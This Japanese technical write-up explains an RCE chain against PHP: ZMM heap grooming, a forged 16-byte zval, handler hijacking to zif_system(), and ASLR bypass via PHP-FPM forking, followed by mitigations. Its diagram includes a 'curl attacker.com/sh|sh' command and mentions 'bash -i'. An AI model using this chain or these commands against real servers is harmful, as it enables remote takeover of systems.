ダングリングポインタからsystem()奪取へ: Zend MMヒープグルーミング、16バイト偽装zval構築とRCEチェーン
ダングリングポインタからsystem()奪取へ: Zend MMヒープグルーミング、16バイト偽装zval構築とRCEチェーン
<time datetime="2026-10-23">検証日: 2026年10月23日</time> · アーキテクチャ解析: Zend Engine 4.x / ZMM (Zend Memory Manager)
PHP2Shell(CVE-2026-109618 / CVE-2026-109619)が世界中のセキュリティ研究者に衝撃を与えた最大の理由は、単なるメモリクラッシュにとどまらず、「現代のASLR環境下において、追加の情報漏洩(Info-Leak)なしに安定したリモートコード実行(RCE)を達成できる」 という高い完成度の武器化チェーンが存在する点にあります。
本稿では、攻撃者がどのようにしてZend Memory Manager(ZMM)のヒープ割り当て動作を調教(Grooming)し、16バイトの偽装 zval をメモリ空間に配置して、最終的にPHP組み込みの zif_system() へと実行権限をジャンプさせるのか、その技術的青写真を解説します。
1. Zend Memory Manager (ZMM) のアロケーション特性
PHPのメモリ管理は、OSの標準 malloc/free を直接叩くのではなく、高速化のために独自実装された Zend Memory Manager(ZMM) によってチャンク分割管理されています。
ZMMは、メモリ要求サイズに応じて内部を Bin(ビン) と呼ばれる固定サイズのスロットに細分化します:
- Bin 0〜29 (Small Bins): 8バイトから3072バイトまでのメモリブロックを管理
- Chunk (2MB単位): OSから
mmapで一括取得した仮想アドレス空間
ZMMには極めて重要な動作特性があります:LIFO(Last In, First Out: 後入れ先出し)キャッシュアルゴリズムです。直前に efree() で解放されたメモリスロットは、フリーリストの先頭(Top of Free List)に置かれ、直後の emalloc() 要求に対して同一のアドレスが即座に再配分されます。
2. ヒープグルーミング: メモリ空間の整地フェーズ
攻撃者は、未認証のマルチパートPOSTリクエストを用いて、Zendヒープを制御可能な状態へと導きます。
[ステップ 1: ヒープのフラグメンテーション解消]
大量のダミーパラメータを送信し、初期の不揃いなフリーリストを消費する。
[ステップ 2: ターゲットBinの準備]
`cached_post_bytes` が格納されるBinスロット(通常は 256バイト または 512バイト Bin)
に隣接する領域を、制御可能な文字列データで埋め尽くす。
[ステップ 3: 誘発的OOMとポインタ残存]
境界ぎりぎりの大容量データチャンクを送信し、強制的に longjmp を発動。
該当のBinスロットが解放されるが、PSマクロ配下のポインタ参照は解放アドレスを維持。
3. 16バイトの偽装zval (Fake zval) の構築技術
PHP 7以降、変数表現の核である zval 構造体は16バイトのコンパクトなメモリレイアウトに統一されました。
/* Zend/zend_types.h より */
struct _zval_struct {
zend_value value; /* 8バイト: ポインタまたはスカラー値 */
union {
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type, /* 1バイト: 変数型 (IS_STRING, IS_OBJECT等) */
zend_uchar type_flags, /* 1バイト: 定数・参照カウントフラグ */
union {
uint16_t extra; /* 2バイト */
} u;
)
} v;
uint32_t type_info; /* 4バイト: 型情報全体 */
} u1;
union {
uint32_t next; /* ハッシュテーブル衝突チェイン */
uint32_t cache_slot; /* リテラルキャッシュ */
uint32_t lineno; /* 行番号情報 */
} u2;
};
攻撃者は、解放されたBinスロットに対し、マルチパートのファイル名フィールド等を悪用して以下の16バイトペイロードを滑り込ませます:
┌──────────────────────┬──────────┬──────────┬───────────┐
│ value.obj (8 bytes) │ type (1) │ flags (1)│ extra (2) │
│ [偽装zend_objectのアドレス] │ IS_OBJ │ IS_REF │ 0x0000 │
├──────────────────────┴──────────┴──────────┴───────────┤
│ u2 (4 bytes): 0x00000000 (ダミーアラインメント) │
└────────────────────────────────────────────────────────┘
型タグを IS_OBJECT(オブジェクト型)に偽装することで、Zendエンジンがこの変数を操作しようとした際、内部のハンドラテーブル(zend_object_handlers)のポインタを辿らせるよう誘導します。
4. 関数ポインタのハイジャックとsystem()へのディスパッチ
PHPランタイム内部には、すでにELFバイナリとしてコンパイル済みの関数群が存在します。攻撃者の目的は、独自のシェルコードをスタック上で実行すること(これはNXビット/DEPによって遮断される)ではなく、既存の標準関数 zif_system() を目的の引数(例: id, bash -i)付きで間接呼び出しすることです。
偽装zval
│
▼
[偽装 zend_object ]
├── handlers ───> [ 偽装 zend_object_handlers テーブル ]
│ ├── get_method: NULL
│ └── call_method ───> 【 zif_system 】のアドレス
│
└── properties ──> [ 実行したいシェルコマンド文字列: "curl attacker.com/sh|sh" ]
ASLRの回避テクニック
最新のLinuxディストリビューション(Ubuntu 24.04 / Debian 12等)では完全なASLRが有効ですが、PHP-FPMのアーキテクチャでは、マスタープロセスが fork() によってワーカープロセスを複製します。
fork() で生成された子プロセス群は、マスタープロセスと完全に同一の仮想アドレス空間レイアウトおよびライブラリ配置を共有します。したがって、ワーカープロセスがクラッシュしても、マスタープロセスが即座に再起動した新ワーカーは同一のメモリオフセットを持ちます。これにより、攻撃者はブルートフォースや既知のバイナリオフセットを用いた単一リクエストでの確定的ディスパッチを可能にしています。
5. 防御側における構造的遮断ポイント
この一連の攻撃チェーンを断ち切るには、以下のいずれかのレイヤーで介入を行います:
- メモリレイヤ(根本対策):
session.upload_progress.enabled = Offにより、ダングリングポインタの生成ステップを阻止。 - カーネルレイヤ(ゼロトラスト対策): Linux Seccompフィルタによって
execveシステムコールの実行をPHP-FPMプロセスに対して全面的に禁止。仮にsystem()の呼び出しに成功したとしても、OSコマンドの生成フェーズでカーネルが即座にSIGSYSを送出してプロセスを強制終了させます。